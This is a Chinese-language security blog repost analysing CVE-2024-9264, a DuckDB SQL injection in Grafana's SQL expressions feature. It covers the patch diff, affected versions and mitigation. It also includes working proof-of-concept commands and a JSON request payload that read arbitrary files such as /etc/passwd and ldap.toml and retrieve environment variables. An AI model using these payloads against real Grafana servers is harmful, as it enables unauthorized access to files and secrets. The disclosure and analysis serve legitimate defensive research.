利用 Grafana 任意文件读取 (CVE-2024-9264)

admin 2024年10月21日16:04:41评论605 views字数 2625阅读8分45秒阅读模式

利用 Grafana 任意文件读取 (CVE-2024-9264)

Grafana Post-Auth DuckDB SQL 注入(文件读取)

概念验证(PoC)

该 PoC 演示了如何使用经过身份验证的用户执行 DuckDB SQL 查询并读取文件系统上的任意文件来利用 CVE-2024-9264。

设置:通过以下方式安装所需的依赖项:

pip install -r requirements.txt

用法(文件读取示例):

python3 CVE-2024-9264.py -u user -p pass -f /etc/passwd http://localhost:3000

您还可以执行任意 DuckDB 查询,例如调用getenv来检索环境变量:

python3 CVE-2024-9264.py -u user -p pass -q "SELECT getenv('PATH')" http://localhost:3000

可以利用的实用 DuckDB 功能列表可在此处找到。

漏洞概述

CVE-2024-9264是 Grafana 实验性 SQL 表达式功能中的一个 DuckDB SQL 注入漏洞。任何经过身份验证的用户都可以通过修改 Grafana 仪表板中的表达式执行任意 DuckDB SQL 查询。

受影响的版本:

  • Grafana OSS 和 Enterprise 版本 11.0.0 - 11.0.5、11.1.0 - 11.1.6 和 11.2.0 - 11.2.1。

修补版本:

  • 11.0.5+security-01 及更高版本

寻找补丁

Grafana发布了特殊版本来修复此漏洞。要分析补丁,可以使用以下命令来比较更改:

git checkout v11.0.5+security-01
git diff 0421a8911cfc05a46c516fd9d033a51e52e51afe 70316b3e1418c9054017047e63c1c96abb26f495

这表明 SQL 表达式功能已从易受攻击的版本中删除。

+++ b/pkg/expr/sql/db.go
@@ -0,0 +1,26 @@
+package sql
+
+import (
+ "errors"
+
+ "github.com/grafana/grafana-plugin-sdk-go/data"
+)
+
+type DB struct {
+}
+
+func (db *DB) TablesList(rawSQL string) ([]string, error) {
+ return nil, errors.New("not implemented")
+}
+
+func (db *DB) RunCommands(commands []string) (string, error) {
+ return "", errors.New("not implemented")
+}
+
+func (db *DB) QueryFramesInto(name string, query string, frames []*data.Frame, f *data.Frame) error {
+ return errors.New("not implemented")
+}
+
+func NewInMemoryDB() *DB {
+ return &DB{}+}
@@ -85,7 +84,7 @@ func (gr *SQLCommand) Execute(ctx context.Context, now time.Time, vars mathexp.V
 
        rsp := mathexp.Results{}
 
- duckDB := duck.NewInMemoryDB()

+ duckDB := sql.NewInMemoryDB()
        var frame = &data.Frame
{}
        err := duckDB.QueryFramesInto(gr.refID, gr.query, allFrames, frame);
        if err != nil {

该补丁完全删除了 SQL 表达式,从而防止了被利用的可能性。

利用漏洞

1.启动 Grafana:使用版本 11.0.5 运行 Grafana:

docker run --name=grafana -p 3000:3000 grafana/grafana-enterprise:11.0.5

2.修改表达式:创建一个带有“数学”等表达式的仪表板,用 Burp 拦截请求,并将类型datasource从修改math为sql。

HTTP 请求将被发送至/api/ds/query?ds_type=__expr__&expression=true&requestId=Q101。

下面是执行 DuckDB SQL 查询读取任意文件所需的最小 JSON,例如./conf/ldap.toml:

{
  "queries": [
    {
      "refId": "B",
      "datasource": {
        "type": "__expr__",
        "uid": "__expr__",
        "name": "Expression"
      },
      "type": "sql",
      "hide": false,
      "expression": "SELECT content FROM read_blob("./conf/ldap.toml")",
      "window": ""
    }
  ],
  "from": "1729313027261",
  "to": "1729334627261"
}

实际利用时不需要显示仪表板,它只是一种查找 HTTP 请求以执行查询的简单方法。

可利用性

值得注意的是,虽然此漏洞非常严重,但其可利用性取决于 Grafana 服务器上是否安装了 DuckDB 二进制文件。默认情况下,Grafana 不附带安装的 DuckDB,并且没有直接从 Grafana 界面安装它的选项。

要利用此漏洞,管理员必须手动安装 DuckDB 并将其添加到 Grafana 服务器$PATH。如果不存在 DuckDB,则无法利用 SQL 注入漏洞,从而大大降低了在默认安装中成功利用的可能性。

减轻

将 Grafana 更新至修补版本,并确保$PATH如果修补延迟,则 DuckDB 二进制文件不存在。

项目地址:

https://github.com/nollium/CVE-2024-9264/tree/main

原文始发于微信公众号(Ots安全):利用 Grafana 任意文件读取 (CVE-2024-9264)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月21日16:04:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   利用 Grafana 任意文件读取 (CVE-2024-9264)https://cn-sec.com/archives/3295051.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息